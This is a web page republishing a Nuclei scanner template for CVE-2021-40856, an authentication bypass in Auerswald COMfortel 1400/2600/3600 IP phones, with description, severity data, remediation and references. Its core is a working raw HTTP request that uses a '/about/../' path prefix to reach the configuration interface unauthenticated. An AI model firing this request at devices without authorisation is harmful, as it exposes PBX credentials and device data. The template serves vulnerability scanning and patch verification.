BiuPoC

CVE-2021-40856: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass

2025-08-01 Auerswald COMfortel 1400 2600 3600 IP PoC Public

Description

Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.

PoC

id: CVE-2021-40856

info:
  name: Auerswald COMfortel 1400/2600/3600 IP - Authentication Bypass
  author: gy741
  severity: high
  description: Auerswald COMfortel 1400/2600/3600 IP is susceptible to an authentication bypass vulnerability. Inserting the prefix "/about/../" allows bypassing the authentication check for the web-based configuration management interface. This enables attackers to gain access to the login credentials used for authentication at the PBX, among other data.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the device.
  remediation: |
    Apply the latest firmware update provided by Auerswald to fix the authentication bypass vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40856
    - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-004/-auerswald-comfortel-1400-2600-3600-ip-authentication-bypass
    - https://www.redteam-pentesting.de/en/advisories/-advisories-publicised-vulnerability-analyses
    - http://packetstormsecurity.com/files/165162/Auerswald-COMfortel-1400-2600-3600-IP-2.8F-Authentication-Bypass.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40856
    cwe-id: CWE-706
    epss-score: 0.50125
    epss-percentile: 0.98879
    cpe: cpe:2.3:o:auerswald:comfortel_3600_ip_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: auerswald
    product: comfortel_3600_ip_firmware
  tags: cve2021,cve,packetstorm,comfortel,auth-bypass,auerswald,vkev,vuln

http:
  - raw:
      - |
        GET /about/../tree?action=get HTTP/1.1
        Host: {{Hostname}}
        Accept: */*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"TYPE"'
          - '"ITEMS"'
          - '"COUNT"'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402201bff72df151aa820e1e670ea817385f5d3d80fb83b9d36ea8adb6bcc36fffd28022032eb63ae440493f1821391e8f5c16d967b7a3bd39a0faad4044f75089a5a3037:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-40856.yaml

References

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